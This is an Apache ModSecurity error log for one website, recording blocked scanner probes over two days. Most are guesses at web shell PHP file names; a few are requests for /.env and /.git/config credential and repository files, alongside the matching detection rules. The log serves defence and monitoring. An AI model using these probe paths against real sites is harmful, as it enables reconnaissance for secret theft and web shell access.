[Fri Apr 24 20:05:19.422027 2026] [:error] [pid 14531:tid 14555] [client 20.203.209.229:49554] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/prosellers8.php"] [unique_id "aetcf3fLU2gw-6KR-Ga-rwAAAVY"]
[Fri Apr 24 20:05:30.294470 2026] [:error] [pid 4177:tid 4195] [client 20.203.209.229:64678] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/term.php"] [unique_id "aetcin2asKnvdrSe0x71FwAAAYo"]
[Fri Apr 24 20:05:32.892142 2026] [:error] [pid 4177:tid 4190] [client 20.203.209.229:40315] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/term.php"] [unique_id "aetcjH2asKnvdrSe0x71IQAAAYU"]
[Fri Apr 24 20:05:37.051738 2026] [:error] [pid 4177:tid 4193] [client 20.203.209.229:64669] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/term.php"] [unique_id "aetckX2asKnvdrSe0x71OwAAAYg"]
[Fri Apr 24 20:05:43.436673 2026] [:error] [pid 17808:tid 17834] [client 20.203.209.229:65358] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/term.php"] [unique_id "aetcl-arbOEFI8qshvIqfwAAAFg"]
[Fri Apr 24 20:05:50.538125 2026] [:error] [pid 14531:tid 14536] [client 20.203.209.229:65365] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gk.php"] [unique_id "aetcnnfLU2gw-6KR-Ga-1gAAAUM"]
[Fri Apr 24 20:05:54.449791 2026] [:error] [pid 17720:tid 17768] [client 20.203.209.229:48284] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gk.php"] [unique_id "aetcouhlUs6BS3Ng7_WVjAAAAM4"]
[Fri Apr 24 20:05:58.555175 2026] [:error] [pid 4177:tid 4203] [client 20.203.209.229:29511] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gk.php"] [unique_id "aetcpn2asKnvdrSe0x71hgAAAZI"]
[Fri Apr 24 20:06:02.534757 2026] [:error] [pid 17720:tid 17768] [client 20.203.209.229:56369] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xmu.php"] [unique_id "aetcquhlUs6BS3Ng7_WVqAAAAM4"]
[Fri Apr 24 20:06:17.643498 2026] [:error] [pid 14531:tid 14556] [client 20.203.209.229:43708] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sd.php"] [unique_id "aetcuXfLU2gw-6KR-Ga-6wAAAVc"]
[Fri Apr 24 20:06:18.937291 2026] [:error] [pid 22114:tid 22123] [client 20.203.209.229:43653] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sd.php"] [unique_id "aetcuoAuWGz3WlMQjoflQQAAAQY"]
[Fri Apr 24 20:06:21.254011 2026] [:error] [pid 14531:tid 14543] [client 20.203.209.229:43649] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sd.php"] [unique_id "aetcvXfLU2gw-6KR-Ga-8QAAAUo"]
[Fri Apr 24 20:06:25.144055 2026] [:error] [pid 17721:tid 17786] [client 20.203.209.229:52856] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sd.php"] [unique_id "aetcweFXXkLeyDnfk_8ypAAAAAU"]
[Fri Apr 24 20:48:10.202464 2026] [:error] [pid 22114:tid 22141] [client 49.234.192.248:32902] [client 49.234.192.248] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aetmioAuWGz3WlMQjofrggAAARg"]
[Fri Apr 24 23:17:44.141806 2026] [:error] [pid 17719:tid 17730] [client 43.173.1.57:38656] [client 43.173.1.57] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aeuJmMTZ9gzEyL1BkPrGHQAAAIM"]
[Sat Apr 25 01:10:31.699305 2026] [:error] [pid 42791:tid 42817] [client 213.35.105.89:63506] [client 213.35.105.89] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aeukB7KmN9doraCEWKXo0AAAAdY"]
[Sat Apr 25 02:55:51.796993 2026] [:error] [pid 42792:tid 42839] [client 185.213.175.92:41604] [client 185.213.175.92] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.git/HEAD"] [unique_id "aeu8t9Ni9qR4GtafpfH2PgAAAhE"]
[Sat Apr 25 02:55:51.797021 2026] [:error] [pid 28786:tid 28802] [client 185.213.175.92:41580] [client 185.213.175.92] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aeu8t9mKAVQi4GwijepH-QAAAY0"]
[Sat Apr 25 03:49:09.439424 2026] [:error] [pid 44425:tid 44430] [client 121.229.185.160:45600] [client 121.229.185.160] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aevJNSUl-VlItvY2tR_ItgAAAMM"]
[Sat Apr 25 05:04:24.934785 2026] [:error] [pid 46083:tid 46095] [client 20.251.112.6:6092] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pinfo.php"] [unique_id "aeva2Dxw_Zq74vWdjmkPVAAAAQg"]
[Sat Apr 25 05:04:25.459426 2026] [:error] [pid 46083:tid 46087] [client 20.251.112.6:6139] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pinfo.php"] [unique_id "aeva2Txw_Zq74vWdjmkPVQAAAQA"]
[Sat Apr 25 05:04:25.981373 2026] [:error] [pid 44320:tid 44358] [client 20.251.112.6:6028] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pinfo.php"] [unique_id "aeva2TmFqSpku_dij8hljwAAAEI"]
[Sat Apr 25 05:04:26.501369 2026] [:error] [pid 44321:tid 44388] [client 20.251.112.6:6017] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pinfo.php"] [unique_id "aeva2o1b5lV-asWa_Y4XIwAAAIU"]
[Sat Apr 25 05:04:27.025668 2026] [:error] [pid 44321:tid 44406] [client 20.251.112.6:6095] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/litespeed.php"] [unique_id "aeva241b5lV-asWa_Y4XJgAAAJc"]
[Sat Apr 25 05:04:27.545351 2026] [:error] [pid 44321:tid 44400] [client 20.251.112.6:6141] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/litespeed.php"] [unique_id "aeva241b5lV-asWa_Y4XKgAAAJE"]
[Sat Apr 25 05:04:28.065572 2026] [:error] [pid 44321:tid 44386] [client 20.251.112.6:6087] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/litespeed.php"] [unique_id "aeva3I1b5lV-asWa_Y4XLAAAAIM"]
[Sat Apr 25 05:04:28.595512 2026] [:error] [pid 46083:tid 46107] [client 20.251.112.6:6094] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/litespeed.php"] [unique_id "aeva3Dxw_Zq74vWdjmkPWwAAARM"]
[Sat Apr 25 05:04:29.116254 2026] [:error] [pid 44321:tid 44398] [client 20.251.112.6:6117] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/environments.php"] [unique_id "aeva3Y1b5lV-asWa_Y4XMgAAAI8"]
[Sat Apr 25 05:04:29.636709 2026] [:error] [pid 44321:tid 44399] [client 20.251.112.6:6081] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/environments.php"] [unique_id "aeva3Y1b5lV-asWa_Y4XNQAAAJA"]
[Sat Apr 25 05:04:30.156890 2026] [:error] [pid 44425:tid 44438] [client 20.251.112.6:6108] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/environments.php"] [unique_id "aeva3iUl-VlItvY2tR_sBwAAAMs"]
[Sat Apr 25 05:04:30.683392 2026] [:error] [pid 44319:tid 44339] [client 20.251.112.6:6022] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/environments.php"] [unique_id "aeva3szJPAVLUb2pWtJEDAAAAAo"]
[Sat Apr 25 05:04:31.203998 2026] [:error] [pid 46083:tid 46099] [client 20.251.112.6:6032] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/raf.php"] [unique_id "aeva3zxw_Zq74vWdjmkPXAAAAQw"]
[Sat Apr 25 05:04:31.723714 2026] [:error] [pid 46083:tid 46092] [client 20.251.112.6:6126] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/raf.php"] [unique_id "aeva3zxw_Zq74vWdjmkPXwAAAQU"]
[Sat Apr 25 05:04:32.242509 2026] [:error] [pid 46083:tid 46100] [client 20.251.112.6:6016] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/raf.php"] [unique_id "aeva4Dxw_Zq74vWdjmkPYgAAAQ0"]
[Sat Apr 25 05:04:32.762510 2026] [:error] [pid 46083:tid 46095] [client 20.251.112.6:6113] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/raf.php"] [unique_id "aeva4Dxw_Zq74vWdjmkPZAAAAQg"]
[Sat Apr 25 05:04:33.291461 2026] [:error] [pid 44320:tid 44362] [client 20.251.112.6:6107] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ayk.php"] [unique_id "aeva4TmFqSpku_dij8hllgAAAEY"]
[Sat Apr 25 05:04:33.816861 2026] [:error] [pid 44320:tid 44378] [client 20.251.112.6:6120] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ayk.php"] [unique_id "aeva4TmFqSpku_dij8hllwAAAFY"]
[Sat Apr 25 05:04:34.342775 2026] [:error] [pid 46083:tid 46104] [client 20.251.112.6:6027] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ayk.php"] [unique_id "aeva4jxw_Zq74vWdjmkPZgAAARE"]
[Sat Apr 25 05:04:34.862310 2026] [:error] [pid 44425:tid 44430] [client 20.251.112.6:6089] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ayk.php"] [unique_id "aeva4iUl-VlItvY2tR_sCgAAAMM"]
[Sat Apr 25 05:04:35.381054 2026] [:error] [pid 44425:tid 44436] [client 20.251.112.6:6030] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/infos.php"] [unique_id "aeva4yUl-VlItvY2tR_sCwAAAMk"]
[Sat Apr 25 05:04:35.910617 2026] [:error] [pid 44425:tid 44449] [client 20.251.112.6:6135] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/infos.php"] [unique_id "aeva4yUl-VlItvY2tR_sDQAAANY"]
[Sat Apr 25 05:04:36.434198 2026] [:error] [pid 46083:tid 46088] [client 20.251.112.6:6042] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/infos.php"] [unique_id "aeva5Dxw_Zq74vWdjmkPaQAAAQE"]
[Sat Apr 25 05:04:36.952062 2026] [:error] [pid 44320:tid 44369] [client 20.251.112.6:6023] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/infos.php"] [unique_id "aeva5DmFqSpku_dij8hlmAAAAE0"]
[Sat Apr 25 05:04:37.471681 2026] [:error] [pid 44425:tid 44441] [client 20.251.112.6:6114] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aws.php"] [unique_id "aeva5SUl-VlItvY2tR_sDwAAAM4"]
[Sat Apr 25 05:04:37.992092 2026] [:error] [pid 44319:tid 44331] [client 20.251.112.6:6020] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aws.php"] [unique_id "aeva5czJPAVLUb2pWtJEEwAAAAI"]
[Sat Apr 25 05:04:38.514768 2026] [:error] [pid 44321:tid 44384] [client 20.251.112.6:6031] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aws.php"] [unique_id "aeva5o1b5lV-asWa_Y4XOgAAAIE"]
[Sat Apr 25 05:04:39.049252 2026] [:error] [pid 44321:tid 44395] [client 20.251.112.6:6091] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aws.php"] [unique_id "aeva541b5lV-asWa_Y4XOwAAAIw"]
[Sat Apr 25 05:04:39.570806 2026] [:error] [pid 44319:tid 44347] [client 20.251.112.6:6124] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/embed.php"] [unique_id "aeva58zJPAVLUb2pWtJEGgAAABI"]
[Sat Apr 25 05:04:40.098139 2026] [:error] [pid 44319:tid 44329] [client 20.251.112.6:6063] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/embed.php"] [unique_id "aeva6MzJPAVLUb2pWtJEJQAAAAA"]
[Sat Apr 25 05:04:40.616371 2026] [:error] [pid 44319:tid 44338] [client 20.251.112.6:6128] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/embed.php"] [unique_id "aeva6MzJPAVLUb2pWtJELgAAAAk"]
[Sat Apr 25 05:04:41.160977 2026] [:error] [pid 44319:tid 44346] [client 20.251.112.6:6018] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/embed.php"] [unique_id "aeva6czJPAVLUb2pWtJENQAAABE"]
[Sat Apr 25 05:04:41.680507 2026] [:error] [pid 44319:tid 44353] [client 20.251.112.6:6116] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/stat.php"] [unique_id "aeva6czJPAVLUb2pWtJEPgAAABg"]
[Sat Apr 25 05:04:42.202997 2026] [:error] [pid 44319:tid 44330] [client 20.251.112.6:6111] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/stat.php"] [unique_id "aeva6szJPAVLUb2pWtJERwAAAAE"]
[Sat Apr 25 05:04:42.721157 2026] [:error] [pid 44319:tid 44329] [client 20.251.112.6:6121] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/stat.php"] [unique_id "aeva6szJPAVLUb2pWtJEUAAAAAA"]
[Sat Apr 25 05:04:43.252613 2026] [:error] [pid 44319:tid 44347] [client 20.251.112.6:6130] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/stat.php"] [unique_id "aeva68zJPAVLUb2pWtJEWgAAABI"]
